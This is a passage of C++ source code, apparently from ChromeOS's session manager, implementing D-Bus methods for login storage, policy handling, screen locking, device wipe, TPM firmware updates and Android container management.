InstallAttributesReader::kDeviceModeEnterpriseAD; if (device_policy_->KeyMissing() && !is_active_directory && !device_policy_->Mitigating() && is_first_real_user) { // This is the first sign-in on this unmanaged device. Take ownership. key_gen_->Start(actual_account_id, ns_mnt_path); } DeleteArcBugReportBackup(actual_account_id); // Record that a login has successfully completed on this boot. system_->AtomicFileWrite(base::FilePath(kLoggedInFlag), "1"); return true; } bool SessionManagerImpl::SaveLoginPassword( brillo::ErrorPtr* error, const base::ScopedFD& in_password_fd) { if (!secret_util::SaveSecretFromPipe(password_provider_.get(), in_password_fd)) { LOG(ERROR) << "Could not save password."; return false; } return true; } bool SessionManagerImpl::LoginScreenStorageStore( brillo::ErrorPtr* error, const std::string& in_key, const std::vector<uint8_t>& in_metadata, uint64_t in_value_size, const base::ScopedFD& in_value_fd) { LoginScreenStorageMetadata metadata; if (!metadata.ParseFromArray(in_metadata.data(), in_metadata.size())) { *error = CreateError(DBUS_ERROR_INVALID_ARGS, "metadata parsing failed."); return false; } if (!metadata.clear_on_session_exit() && !user_sessions_.empty()) { *error = CreateError(DBUS_ERROR_FAILED, "can't store persistent login screen data while there " "are active user sessions."); return false; } return login_screen_storage_->Store(error, in_key, metadata, in_value_size, in_value_fd); } bool SessionManagerImpl::LoginScreenStorageRetrieve( brillo::ErrorPtr* error, const std::string& in_key, uint64_t* out_value_size, brillo::dbus_utils::FileDescriptor* out_value_fd) { base::ScopedFD value_fd; bool success = login_screen_storage_->Retrieve(error, in_key, out_value_size, &value_fd); *out_value_fd = std::move(value_fd); return success; } void SessionManagerImpl::StopSession(const std::string& in_unique_identifier) { StopSessionWithReason( static_cast<uint32_t>(SessionStopReason::REQUEST_FROM_SESSION_MANAGER)); } void SessionManagerImpl::StopSessionWithReason(uint32_t reason) { LOG(INFO) << "Stopping all sessions reason = " << reason; // Most calls to StopSession() will log the reason for the call. // If you don't see a log message saying the reason for the call, it is // likely a D-Bus message. manager_->ScheduleShutdown(); // TODO(cmasone): re-enable these when we try to enable logout without exiting // the session manager // browser_.job->StopSession(); // user_policy_.reset(); // session_started_ = false; password_provider_->DiscardPassword(); } void SessionManagerImpl::StorePolicyEx( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<>> response, const std::vector<uint8_t>& in_descriptor_blob, const std::vector<uint8_t>& in_policy_blob) { StorePolicyInternalEx(in_descriptor_blob, in_policy_blob, SignatureCheck::kEnabled, std::move(response)); } void SessionManagerImpl::StoreUnsignedPolicyEx( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<>> response, const std::vector<uint8_t>& in_descriptor_blob, const std::vector<uint8_t>& in_policy_blob) { brillo::ErrorPtr error = VerifyUnsignedPolicyStore(); if (error) { response->ReplyWithError(error.get()); return; } StorePolicyInternalEx(in_descriptor_blob, in_policy_blob, SignatureCheck::kDisabled, std::move(response)); } bool SessionManagerImpl::RetrievePolicyEx( brillo::ErrorPtr* error, const std::vector<uint8_t>& in_descriptor_blob, std::vector<uint8_t>* out_policy_blob) { PolicyDescriptor descriptor; if (!ParseAndValidatePolicyDescriptor(in_descriptor_blob, PolicyDescriptorUsage::kRetrieve, &descriptor, error)) { return false; } std::unique_ptr<PolicyService> storage; PolicyService* policy_service = GetPolicyService(descriptor, &storage, error); if (!policy_service) return false; PolicyNamespace ns(descriptor.domain(), descriptor.component_id()); if (!policy_service->Retrieve(ns, out_policy_blob)) { LOG(ERROR) << kSigEncodeFailMessage; *error = CreateError(dbus_error::kSigEncodeFail, kSigEncodeFailMessage); return false; } return true; } bool SessionManagerImpl::ListStoredComponentPolicies( brillo::ErrorPtr* error, const std::vector<uint8_t>& in_descriptor_blob, std::vector<std::string>* out_component_ids) { PolicyDescriptor descriptor; if (!ParseAndValidatePolicyDescriptor(in_descriptor_blob, PolicyDescriptorUsage::kList, &descriptor, error)) { return false; } std::unique_ptr<PolicyService> storage; PolicyService* policy_service = GetPolicyService(descriptor, &storage, error); if (!policy_service) return false; *out_component_ids = policy_service->ListComponentIds(descriptor.domain()); return true; } std::string SessionManagerImpl::RetrieveSessionState() { if (!session_started_) return kStopped; if (session_stopping_) return kStopping; return kStarted; } std::map<std::string, std::string> SessionManagerImpl::RetrieveActiveSessions() { std::map<std::string, std::string> result; for (const auto& entry : user_sessions_) { if (!entry.second) continue; result[entry.second->username] = entry.second->userhash; } return result; } void SessionManagerImpl::RetrievePrimarySession( std::string* out_username, std::string* out_sanitized_username) { out_username->clear(); out_sanitized_username->clear(); if (user_sessions_.count(primary_user_account_id_) > 0) { out_username->assign(user_sessions_[primary_user_account_id_]->username); out_sanitized_username->assign( user_sessions_[primary_user_account_id_]->userhash); } } bool SessionManagerImpl::IsGuestSessionActive() { return !user_sessions_.empty() && AllSessionsAreIncognito(); } void SessionManagerImpl::HandleSupervisedUserCreationStarting() { supervised_user_creation_ongoing_ = true; } void SessionManagerImpl::HandleSupervisedUserCreationFinished() { supervised_user_creation_ongoing_ = false; } bool SessionManagerImpl::LockScreen(brillo::ErrorPtr* error) { if (!session_started_) { *error = CREATE_WARNING_AND_LOG( dbus_error::kSessionDoesNotExist, "Attempt to lock screen outside of user session."); return false; } // If all sessions are incognito, then locking is not allowed. if (AllSessionsAreIncognito()) { *error = CREATE_WARNING_AND_LOG(dbus_error::kSessionExists, "Attempt to lock screen during Guest session."); return false; } if (!screen_locked_) { screen_locked_ = true; init_controller_->TriggerImpulse(kScreenLockedImpulse, {}, InitDaemonController::TriggerMode::ASYNC); delegate_->LockScreen(); } LOG(INFO) << "LockScreen() method called."; return true; } void SessionManagerImpl::HandleLockScreenShown() { LOG(INFO) << "HandleLockScreenShown() method called."; adaptor_.SendScreenIsLockedSignal(); } void SessionManagerImpl::HandleLockScreenDismissed() { screen_locked_ = false; init_controller_->TriggerImpulse(kScreenUnlockedImpulse, {}, InitDaemonController::TriggerMode::ASYNC); LOG(INFO) << "HandleLockScreenDismissed() method called."; adaptor_.SendScreenIsUnlockedSignal(); } bool SessionManagerImpl::IsScreenLocked() { return screen_locked_; } bool SessionManagerImpl::RestartJob(brillo::ErrorPtr* error, const base::ScopedFD& in_cred_fd, const std::vector<std::string>& in_argv) { struct ucred ucred = {0}; socklen_t len = sizeof(struct ucred); if (!in_cred_fd.is_valid() || getsockopt(in_cred_fd.get(), SOL_SOCKET, SO_PEERCRED, &ucred, &len) == -1) { PLOG(ERROR) << "Can't get peer creds"; *error = CreateError("GetPeerCredsFailed", strerror(errno)); return false; } if (!manager_->IsBrowser(ucred.pid)) { *error = CREATE_ERROR_AND_LOG(dbus_error::kUnknownPid, "Provided pid is unknown."); return false; } // To set "logged-in" state for BWSI mode. if (!StartSession(error, kGuestUserName, "")) { DCHECK(*error); return false; } manager_->SetBrowserArgs(in_argv); manager_->RestartBrowser(); return true; } bool SessionManagerImpl::StartDeviceWipe(brillo::ErrorPtr* error) { if (system_->Exists(base::FilePath(kLoggedInFlag))) { *error = CREATE_ERROR_AND_LOG(dbus_error::kSessionExists, "A user has already logged in this boot."); return false; } InitiateDeviceWipe("session_manager_dbus_request"); return true; } bool SessionManagerImpl::StartRemoteDeviceWipe( brillo::ErrorPtr* error, const std::vector<uint8_t>& in_signed_command) { if (!device_policy_->ValidateRemoteDeviceWipeCommand(in_signed_command)) { *error = CreateError(dbus_error::kInvalidParameter, "Remote wipe command validation failed, aborting."); return false; } InitiateDeviceWipe("remote_wipe_request"); return true; } void SessionManagerImpl::ClearForcedReEnrollmentVpd( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<>> response) { device_policy_->ClearForcedReEnrollmentFlags( dbus_service_->CreatePolicyServiceCompletionCallback( std::move(response))); } bool SessionManagerImpl::StartTPMFirmwareUpdate( brillo::ErrorPtr* error, const std::string& update_mode) { // Make sure |update_mode| is supported. if (update_mode != kTPMFirmwareUpdateModeFirstBoot && update_mode != kTPMFirmwareUpdateModePreserveStateful && update_mode != kTPMFirmwareUpdateModeCleanup) { *error = CREATE_ERROR_AND_LOG(dbus_error::kInvalidParameter, "Bad update mode."); return false; } // Verify that we haven't seen a user log in since boot. if (system_->Exists(base::FilePath(kLoggedInFlag))) { *error = CREATE_ERROR_AND_LOG(dbus_error::kSessionExists, "A user has already logged in since boot."); return false; } // For remotely managed devices, make sure the requested update mode matches // the admin-configured one in device policy. // Cast value to C string and back to remove trailing zero. const std::string mode(install_attributes_reader_ ->GetAttribute(InstallAttributesReader::kAttrMode) .c_str()); if (mode == InstallAttributesReader::kDeviceModeEnterprise) { const enterprise_management::TPMFirmwareUpdateSettingsProto& settings = device_policy_->GetSettings().tpm_firmware_update_settings(); std::set<std::string> allowed_modes; if (settings.allow_user_initiated_powerwash()) { allowed_modes.insert(kTPMFirmwareUpdateModeFirstBoot); } if (settings.allow_user_initiated_preserve_device_state()) { allowed_modes.insert(kTPMFirmwareUpdateModePreserveStateful); } // See whether the requested mode is allowed. Cleanup is permitted when at // least one of the actual modes are allowed. bool allowed = (update_mode == kTPMFirmwareUpdateModeCleanup) ? !allowed_modes.empty() : allowed_modes.count(update_mode) > 0; if (!allowed) { *error = CreateError(dbus_error::kNotAvailable, "Policy doesn't allow TPM firmware update."); return false; } } // Validate that a firmware update is actually available to make sure // enterprise users can't abuse TPM firmware update to trigger powerwash. bool available = false; if (update_mode == kTPMFirmwareUpdateModeFirstBoot || update_mode == kTPMFirmwareUpdateModePreserveStateful) { std::string update_location; available = system_->ReadFileToString( base::FilePath(kTPMFirmwareUpdateLocationFile), &update_location) && update_location.size(); } else if (update_mode == kTPMFirmwareUpdateModeCleanup) { available = system_->Exists( base::FilePath(kTPMFirmwareUpdateSRKVulnerableROCAFile)); } if (!available) { *error = CREATE_ERROR_AND_LOG(dbus_error::kNotAvailable, "No update available."); return false; } // Put the update request into place. if (!system_->AtomicFileWrite( base::FilePath(kTPMFirmwareUpdateRequestFlagFile), update_mode)) { *error = CREATE_ERROR_AND_LOG(dbus_error::kNotAvailable, "Failed to persist update request."); return false; } if (update_mode == kTPMFirmwareUpdateModeFirstBoot || update_mode == kTPMFirmwareUpdateModeCleanup) { InitiateDeviceWipe("tpm_firmware_update_" + update_mode); } else if (update_mode == kTPMFirmwareUpdateModePreserveStateful) { // This flag file indicates that encrypted stateful should be preserved. if (!system_->AtomicFileWrite( base::FilePath(kStatefulPreservationRequestFile), update_mode)) { *error = CREATE_ERROR_AND_LOG(dbus_error::kNotAvailable, "Failed to request stateful preservation."); return false; } if (crossystem_->VbSetSystemPropertyInt(Crossystem::kClearTpmOwnerRequest, 1) != 0) { *error = CREATE_ERROR_AND_LOG(dbus_error::kNotAvailable, "Failed to request TPM clear."); return false; } RestartDevice("tpm_firmware_update " + update_mode); } else { NOTREACHED(); return false; } return true; } void SessionManagerImpl::SetFlagsForUser( const std::string& in_account_id, const std::vector<std::string>& in_flags) { manager_->SetFlagsForUser(in_account_id, in_flags); } void SessionManagerImpl::GetServerBackedStateKeys( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse< std::vector<std::vector<uint8_t>>>> response) { DCHECK(dbus_service_); ServerBackedStateKeyGenerator::StateKeyCallback callback = dbus_service_->CreateStateKeyCallback(std::move(response)); if (system_clock_synchronized_) { state_key_generator_->RequestStateKeys(callback); } else { pending_state_key_callbacks_.push_back(callback); } } void SessionManagerImpl::OnSuspendImminent(dbus::Signal* signal) { suspend_ongoing_ = true; // If Chrome crashed recently, it might've missed this SuspendImminent signal // and failed to lock the screen. Stop the session as a precaution: // https://crbug.com/867970 const base::TimeTicks start_time = manager_->GetLastBrowserRestartTime(); if (!start_time.is_null() && tick_clock_->NowTicks() - start_time <= kCrashBeforeSuspendInterval) { LOG(INFO) << "Stopping session for suspend after recent browser restart"; StopSessionWithReason( static_cast<uint32_t>(SessionStopReason::SUSPEND_AFTER_RESTART)); } } void SessionManagerImpl::OnSuspendDone(dbus::Signal* signal) { suspend_ongoing_ = false; last_suspend_done_time_ = tick_clock_->NowTicks(); } void SessionManagerImpl::OnSystemClockServiceAvailable(bool service_available) { if (!service_available) { LOG(ERROR) << "Failed to listen for tlsdated service start"; return; } GetSystemClockLastSyncInfo(); } void SessionManagerImpl::GetSystemClockLastSyncInfo() { dbus::MethodCall method_call(system_clock::kSystemClockInterface, system_clock::kSystemLastSyncInfo); system_clock_proxy_->CallMethod( &method_call, dbus::ObjectProxy::TIMEOUT_USE_DEFAULT, base::Bind(&SessionManagerImpl::OnGotSystemClockLastSyncInfo, weak_ptr_factory_.GetWeakPtr())); } void SessionManagerImpl::OnGotSystemClockLastSyncInfo( dbus::Response* response) { if (!response) { LOG(ERROR) << system_clock::kSystemClockInterface << "." << system_clock::kSystemLastSyncInfo << " request failed."; base::ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::Bind(&SessionManagerImpl::GetSystemClockLastSyncInfo, weak_ptr_factory_.GetWeakPtr()), system_clock_last_sync_info_retry_delay_); return; } dbus::MessageReader reader(response); bool network_synchronized = false; if (!reader.PopBool(&network_synchronized)) { LOG(ERROR) << system_clock::kSystemClockInterface << "." << system_clock::kSystemLastSyncInfo << " response lacks network-synchronized argument"; return; } if (network_synchronized) { system_clock_synchronized_ = true; for (const auto& callback : pending_state_key_callbacks_) state_key_generator_->RequestStateKeys(callback); pending_state_key_callbacks_.clear(); } else { base::ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::Bind(&SessionManagerImpl::GetSystemClockLastSyncInfo, weak_ptr_factory_.GetWeakPtr()), system_clock_last_sync_info_retry_delay_); } } bool SessionManagerImpl::InitMachineInfo(brillo::ErrorPtr* error, const std::string& in_data) { std::map<std::string, std::string> params; if (!ServerBackedStateKeyGenerator::ParseMachineInfo(in_data, &params)) { *error = CreateError(dbus_error::kInitMachineInfoFail, "Parse failure."); return false; } if (!state_key_generator_->InitMachineInfo(params)) { *error = CreateError(dbus_error::kInitMachineInfoFail, "Missing parameters."); return false; } return true; } bool SessionManagerImpl::StartArcMiniContainer( brillo::ErrorPtr* error, const std::vector<uint8_t>& in_request) { #if USE_CHEETS StartArcMiniContainerRequest request; if (!request.ParseFromArray(in_request.data(), in_request.size())) { *error = CreateError(DBUS_ERROR_INVALID_ARGS, "StartArcMiniContainerRequest parsing failed."); return false; } std::vector<std::string> env_vars = { base::StringPrintf("CHROMEOS_DEV_MODE=%d", IsDevMode(system_)), base::StringPrintf("CHROMEOS_INSIDE_VM=%d", IsInsideVm(system_)), base::StringPrintf("NATIVE_BRIDGE_EXPERIMENT=%d", request.native_bridge_experiment()), base::StringPrintf("ARC_FILE_PICKER_EXPERIMENT=%d", request.arc_file_picker_experiment()), base::StringPrintf("ARC_CUSTOM_TABS_EXPERIMENT=%d", request.arc_custom_tabs_experiment()), base::StringPrintf("DISABLE_SYSTEM_DEFAULT_APP=%d", request.disable_system_default_app())}; if (request.lcd_density() > 0) { env_vars.push_back( base::StringPrintf("ARC_LCD_DENSITY=%d", request.lcd_density())); } switch (request.play_store_auto_update()) { case StartArcMiniContainerRequest_PlayStoreAutoUpdate_AUTO_UPDATE_DEFAULT: break; case StartArcMiniContainerRequest_PlayStoreAutoUpdate_AUTO_UPDATE_ON: env_vars.emplace_back("PLAY_STORE_AUTO_UPDATE=1"); break; case StartArcMiniContainerRequest_PlayStoreAutoUpdate_AUTO_UPDATE_OFF: env_vars.emplace_back("PLAY_STORE_AUTO_UPDATE=0"); break; default: NOTREACHED() << "Unhandled play store auto-update mode: " << request.play_store_auto_update() << "."; } if (!StartArcContainer(env_vars, error)) { DCHECK(*error); return false; } return true; #else *error = CreateError(dbus_error::kNotAvailable, "ARC not supported."); return false; #endif // !USE_CHEETS } bool SessionManagerImpl::UpgradeArcContainer( brillo::ErrorPtr* error, const std::vector<uint8_t>& in_request) { #if USE_CHEETS // Stop the existing instance if it fails to continue to boot an existing // container. Using Unretained() is okay because the closure will be called // before this function returns. If container was not running, this is no op. base::ScopedClosureRunner scoped_runner(base::Bind( &SessionManagerImpl::OnContinueArcBootFailed, base::Unretained(this))); UpgradeArcContainerRequest request; if (!request.ParseFromArray(in_request.data(), in_request.size())) { *error = CreateError(DBUS_ERROR_INVALID_ARGS, "UpgradeArcContainerRequest parsing failed."); return false; } pid_t pid = 0; if (!android_container_->GetContainerPID(&pid)) { *error = CREATE_ERROR_AND_LOG(dbus_error::kArcContainerNotFound, "Failed to find mini-container for upgrade."); return false; } LOG(INFO) << "Android container is running with PID " << pid; // |arc_start_time_| is initialized when the container is upgraded (rather // than when the mini-container starts) since we are interested in measuring // time from when the user logs in until the system is ready to be interacted // with. arc_start_time_ = tick_clock_->NowTicks(); // To upgrade the ARC mini-container, a certain amount of disk space is // needed under /home. We first check it. if (system_->AmountOfFreeDiskSpace(base::FilePath(kArcDiskCheckPath)) < kArcCriticalDiskFreeBytes) { *error = CREATE_ERROR_AND_LOG(dbus_error::kLowFreeDisk, "Low free disk under /home"); StopArcInstanceInternal(ArcContainerStopReason::LOW_DISK_SPACE); ignore_result(scoped_runner.Release()); return false; } std::string account_id; if (!NormalizeAccountId(request.account_id(), &account_id, error)) { DCHECK(*error); return false; } if (user_sessions_.count(account_id) == 0) { // This path can be taken if a forged D-Bus message for starting a full // (stateful) container is sent to session_manager before the actual // user's session has started. Do not remove the |account_id| check to // prevent such a container from starting on login screen. *error = CREATE_ERROR_AND_LOG(dbus_error::kSessionDoesNotExist, "Provided user ID does not have a session."); return false; } android_container_->SetStatefulMode(StatefulMode::STATEFUL); auto env_vars = CreateUpgradeArcEnvVars(request, account_id, pid); if (!init_controller_->TriggerImpulse( kContinueArcBootImpulse, env_vars, InitDaemonController::TriggerMode::SYNC)) { *error = CREATE_ERROR_AND_LOG(dbus_error::kEmitFailed, "Emitting continue-arc-boot impulse failed."); BackupArcBugReport(account_id); return false; } login_metrics_->StartTrackingArcUseTime(); ignore_result(scoped_runner.Release()); DeleteArcBugReportBackup(account_id); return true; #else *error = CreateError(dbus_error::kNotAvailable, "ARC not supported."); return false; #endif // !USE_CHEETS } bool SessionManagerImpl::StopArcInstance(brillo::ErrorPtr* error, const std::string& account_id, bool should_backup_log) { #if USE_CHEETS if (should_backup_log && !account_id.empty()) { std::string actual_account_id; if (!NormalizeAccountId(account_id, &actual_account_id, error)) { DCHECK(*error); return false; } BackupArcBugReport(actual_account_id); } if (!StopArcInstanceInternal(ArcContainerStopReason::USER_REQUEST)) { *error = CREATE_ERROR_AND_LOG(dbus_error::kContainerShutdownFail, "Error getting Android container pid."); return false; } return true; #else *error = CreateError(dbus_error::kNotAvailable, "ARC not supported."); return false; #endif // USE_CHEETS } bool SessionManagerImpl::SetArcCpuRestriction(brillo::ErrorPtr* error, uint32_t in_restriction_state) { #if USE_CHEETS std::string shares_out; switch (static_cast<ContainerCpuRestrictionState>(in_restriction_state)) { case CONTAINER_CPU_RESTRICTION_FOREGROUND: shares_out = std::to_string(kCpuSharesForeground); break; case CONTAINER_CPU_RESTRICTION_BACKGROUND: shares_out = std::to_string(kCpuSharesBackground); break; default: *error = CREATE_ERROR_AND_LOG(dbus_error::kArcCpuCgroupFail, "Invalid CPU restriction state specified."); return false; } if (base::WriteFile(base::FilePath(kCpuSharesFile), shares_out.c_str(), shares_out.length()) != shares_out.length()) { *error = CREATE_ERROR_AND_LOG(dbus_error::kArcCpuCgroupFail, "Error updating Android container's cgroups."); return false; } return true; #else *error = CreateError(dbus_error::kNotAvailable, "ARC not supported."); return false; #endif } bool SessionManagerImpl::EmitArcBooted(brillo::ErrorPtr* error, const std::string& in_account_id) { #if USE_CHEETS std::vector<std::string> env_vars; if (!in_account_id.empty()) { std::string actual_account_id; if (!NormalizeAccountId(in_account_id, &actual_account_id, error)) { DCHECK(*error); return false; } env_vars.emplace_back("CHROMEOS_USER=" + actual_account_id); } init_controller_->TriggerImpulse(kArcBootedImpulse, env_vars, InitDaemonController::TriggerMode::ASYNC); return true; #else *error = CreateError(dbus_error::kNotAvailable, "ARC not supported."); return false; #endif } bool SessionManagerImpl::GetArcStartTimeTicks(brillo::ErrorPtr* error, int64_t* out_start_time) { #if USE_CHEETS if (arc_start_time_.is_null()) { *error = CreateError(dbus_error::kNotStarted, "ARC is not started yet."); return false; } *out_start_time = arc_start_time_.ToInternalValue(); return true; #else *error = CreateError(dbus_error::kNotAvailable, "ARC not supported."); return false; #endif // !USE_CHEETS } void SessionManagerImpl::EnableAdbSideloadCallbackAdaptor( brillo::dbus_utils::DBusMethodResponse<bool>* response, ArcSideloadStatusInterface::Status status, const char* error) { if (error != nullptr) { brillo::ErrorPtr dbus_error = CreateError(DBUS_ERROR_FAILED, error); response->ReplyWithError(dbus_error.get()); return; } if (status == ArcSideloadStatusInterface::Status::NEED_POWERWASH) { brillo::ErrorPtr dbus_error = CreateError(DBUS_ERROR_NOT_SUPPORTED, error); response->ReplyWithError(dbus_error.get()); return; } response->Return(status == ArcSideloadStatusInterface::Status::ENABLED); } void SessionManagerImpl::EnableAdbSideload( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<bool>> response) { if (system_->Exists(base::FilePath(kLoggedInFlag))) { auto error = CREATE_ERROR_AND_LOG( dbus_error::kSessionExists, "EnableAdbSideload is not allowed once a user logged in this boot."); response->ReplyWithError(error.get()); return; } arc_sideload_status_->EnableAdbSideload(base::Bind( &SessionManagerImpl::EnableAdbSideloadCallbackAdaptor, weak_ptr_factory_.GetWeakPtr(), base::Owned(response.release()))); } void SessionManagerImpl::QueryAdbSideloadCallbackAdaptor( brillo::dbus_utils::DBusMethodResponse<bool>* response, ArcSideloadStatusInterface::Status status) { if (status == ArcSideloadStatusInterface::Status::NEED_POWERWASH) { brillo::ErrorPtr dbus_error = CreateError(DBUS_ERROR_NOT_SUPPORTED, "Need powerwash"); response->ReplyWithError(dbus_error.get()); return; } response->Return(status == ArcSideloadStatusInterface::Status::ENABLED); } void SessionManagerImpl::QueryAdbSideload( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<bool>> response) { arc_sideload_status_->QueryAdbSideload(base::Bind( &SessionManagerImpl::QueryAdbSideloadCallbackAdaptor, weak_ptr_factory_.GetWeakPtr(), base::Owned(response.release()))); } void SessionManagerImpl::OnPolicyPersisted(bool success) { device_local_account_manager_->UpdateDeviceSettings( device_policy_->GetSettings()); adaptor_.SendPropertyChangeCompleteSignal(ToSuccessSignal(success)); } void SessionManagerImpl::OnKeyPersisted(bool success) { adaptor_.SendSetOwnerKeyCompleteSignal(ToSuccessSignal(success)); } void SessionManagerImpl::OnKeyGenerated(const std::string& username, const base::FilePath& temp_key_file) { ImportValidateAndStoreGeneratedKey(username, temp_key_file); } void SessionManagerImpl::ImportValidateAndStoreGeneratedKey( const std::string& username, const base::FilePath& temp_key_file) { DLOG(INFO) << "Processing generated key at " << temp_key_file.value(); std::string key; // The temp key file will only exist in the user's mount namespace. OptionalFilePath ns_mnt_path = user_sessions_[username]->descriptor->ns_mnt_path; std::unique_ptr<brillo::ScopedMountNamespace> ns_mnt; if (ns_mnt_path) { ns_mnt = brillo::ScopedMountNamespace::CreateFromPath(ns_mnt_path.value()); } base::ReadFileToString(temp_key_file, &key); PLOG_IF(WARNING, !base::DeleteFile(temp_key_file, false)) << "Can't delete " << temp_key_file.value(); ns_mnt.reset(); device_policy_->ValidateAndStoreOwnerKey( username, StringToBlob(key), user_sessions_[username]->descriptor.get()); } void SessionManagerImpl::InitiateDeviceWipe(const std::string& reason) { // The log string must not be confused with other clobbers-state parameters. // Sanitize by replacing all non-alphanumeric characters with underscores and // clamping size to 50 characters. std::string sanitized_reason(reason.substr(0, 50)); std::locale locale("C"); std::replace_if( sanitized_reason.begin(), sanitized_reason.end(), [&locale](const std::string::value_type character) { return !std::isalnum(character, locale); }, '_'); const base::FilePath reset_path(kResetFile); system_->AtomicFileWrite(reset_path, "fast safe keepimg reason=" + sanitized_reason); RestartDevice(sanitized_reason); } // static bool SessionManagerImpl::NormalizeAccountId(const std::string& account_id, std::string* actual_account_id_out, brillo::ErrorPtr* error_out) { if (ValidateAccountId(account_id, actual_account_id_out)) { DCHECK(!actual_account_id_out->empty()); return true; } // TODO(alemate): adjust this error message after ChromeOS will stop using // email as cryptohome identifier. *error_out = CREATE_ERROR_AND_LOG(dbus_error::kInvalidAccount, "Provided email address is not valid. ASCII only."); DCHECK(actual_account_id_out->empty()); return false; } bool SessionManagerImpl::AllSessionsAreIncognito() { size_t incognito_count = 0; for (UserSessionMap::const_iterator it = user_sessions_.begin(); it != user_sessions_.end(); ++it) { if (it->second) incognito_count += it->second->is_incognito; } return incognito_count == user_sessions_.size(); } std::unique_ptr<SessionManagerImpl::UserSession> SessionManagerImpl::CreateUserSession(const std::string& username, const OptionalFilePath& ns_mnt_path, bool is_incognito, brillo::ErrorPtr* error) { std::unique_ptr<PolicyService> user_policy = user_policy_factory_->Create(username); if (!user_policy) { LOG(ERROR) << "User policy failed to initialize."; *error = CreateError(dbus_error::kPolicyInitFail, "Can't create session."); return nullptr; } ScopedPK11SlotDescriptor desc( nss_->OpenUserDB(GetUserPath(username), ns_mnt_path)); if (!desc->slot) { LOG(ERROR) << "Could not open the current user's NSS database."; *error = CreateError(dbus_error::kNoUserNssDb, "Can't create session."); return nullptr; } return std::make_unique<UserSession>(username, SanitizeUserName(username), is_incognito, std::move(desc), std::move(user_policy)); } brillo::ErrorPtr SessionManagerImpl::VerifyUnsignedPolicyStore() { // Unsigned policy store D-Bus call is allowed only in enterprise_ad mode. const std::string& mode = install_attributes_reader_->GetAttribute( InstallAttributesReader::kAttrMode); if (mode != InstallAttributesReader::kDeviceModeEnterpriseAD) { return CREATE_ERROR_AND_LOG(dbus_error::kPolicySignatureRequired, "Device mode doesn't permit unsigned policy."); } return nullptr; } PolicyService* SessionManagerImpl::GetPolicyService( const PolicyDescriptor& descriptor, std::unique_ptr<PolicyService>* storage, brillo::ErrorPtr* error) { DCHECK(storage); DCHECK(error); PolicyService* policy_service = nullptr; switch (descriptor.account_type()) { case ACCOUNT_TYPE_DEVICE: { policy_service = device_policy_.get(); break; } case ACCOUNT_TYPE_USER: { UserSessionMap::const_iterator it = user_sessions_.find(descriptor.account_id()); policy_service = it != user_sessions_.end() ? it->second->policy_service.get() : nullptr; break; } case ACCOUNT_TYPE_SESSIONLESS_USER: { // Special case, different lifetime management than all other cases // (unique_ptr vs plain ptr). TODO(crbug.com/771638): Clean this up when // the bug is fixed and sessionless users are handled differently. *storage = user_policy_factory_->CreateForHiddenUserHome( descriptor.account_id()); policy_service = storage->get(); break; } case ACCOUNT_TYPE_DEVICE_LOCAL_ACCOUNT: { policy_service = device_local_account_manager_->GetPolicyService( descriptor.account_id()); break; } } if (policy_service) return policy_service; // Error case const std::string message = base::StringPrintf("Cannot get policy service for account type %i", static_cast<int>(descriptor.account_type())); LOG(ERROR) << message; *error = CreateError(dbus_error::kGetServiceFail, message); return nullptr; } int SessionManagerImpl::GetKeyInstallFlags(const PolicyDescriptor& descriptor) { switch (descriptor.account_type()) { case ACCOUNT_TYPE_DEVICE: { int flags = PolicyService::KEY_ROTATE; if (!session_started_) flags |= PolicyService::KEY_INSTALL_NEW | PolicyService::KEY_CLOBBER; return flags; } case ACCOUNT_TYPE_USER: return PolicyService::KEY_INSTALL_NEW | PolicyService::KEY_ROTATE; case ACCOUNT_TYPE_SESSIONLESS_USER: { // Only supports retrieval, not storage. NOTREACHED(); return PolicyService::KEY_NONE; } case ACCOUNT_TYPE_DEVICE_LOCAL_ACCOUNT: return PolicyService::KEY_NONE; } } void SessionManagerImpl::StorePolicyInternalEx( const std::vector<uint8_t>& descriptor_blob, const std::vector<uint8_t>& policy_blob, SignatureCheck signature_check, std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<>> response) { brillo::ErrorPtr error; PolicyDescriptor descriptor; if (!ParseAndValidatePolicyDescriptor(descriptor_blob, PolicyDescriptorUsage::kStore, &descriptor, &error)) { response->ReplyWithError(error.get()); return; } std::unique_ptr<PolicyService> storage; PolicyService* policy_service = GetPolicyService(descriptor, &storage, &error); if (!policy_service) { response->ReplyWithError(error.get()); return; } int key_flags = GetKeyInstallFlags(descriptor); PolicyNamespace ns(descriptor.domain(), descriptor.component_id()); // If the blob is empty, delete the policy. DCHECK(dbus_service_); if (policy_blob.empty()) { if (!policy_service->Delete(ns, signature_check)) { auto error = CreateError(dbus_error::kDeleteFail, "Failed to delete policy"); response->ReplyWithError(error.get()); return; } response->Return(); } else { policy_service->Store(ns, policy_blob, key_flags, signature_check, dbus_service_->CreatePolicyServiceCompletionCallback( std::move(response))); } } void SessionManagerImpl::RestartDevice(const std::string& reason) { delegate_->RestartDevice("session_manager (" + reason + ")"); } void SessionManagerImpl::BackupArcBugReport(const std::string& account_id) { if (user_sessions_.count(account_id) == 0) { LOG(ERROR) << "Cannot back up ARC bug report for inactive user."; return; } const base::TimeTicks arc_bug_report_backup_time = base::TimeTicks::Now(); dbus::MethodCall method_call(debugd::kDebugdInterface, debugd::kBackupArcBugReport); dbus::MessageWriter writer(&method_call); writer.AppendString(account_id); std::unique_ptr<dbus::Response> response(debugd_proxy_->CallMethodAndBlock( &method_call, kBackupArcBugReportTimeout.InMilliseconds())); if (response) { login_metrics_->SendArcBugReportBackupTime(base::TimeTicks::Now() - arc_bug_report_backup_time); } else { LOG(DFATAL) << "Error contacting debugd to back up ARC bug report."; } } void SessionManagerImpl::DeleteArcBugReportBackup( const std::string& account_id) { dbus::MethodCall method_call(debugd::kDebugdInterface, debugd::kDeleteArcBugReportBackup); dbus::MessageWriter writer(&method_call); writer.AppendString(account_id); std::unique_ptr<dbus::Response> response(debugd_proxy_->CallMethodAndBlock( &method_call, dbus::ObjectProxy::TIMEOUT_USE_DEFAULT)); if (!response) { LOG(DFATAL) << "Error contacting debugd to delete ARC bug report backup."; } } #if USE_CHEETS bool SessionManagerImpl::StartArcContainer( const 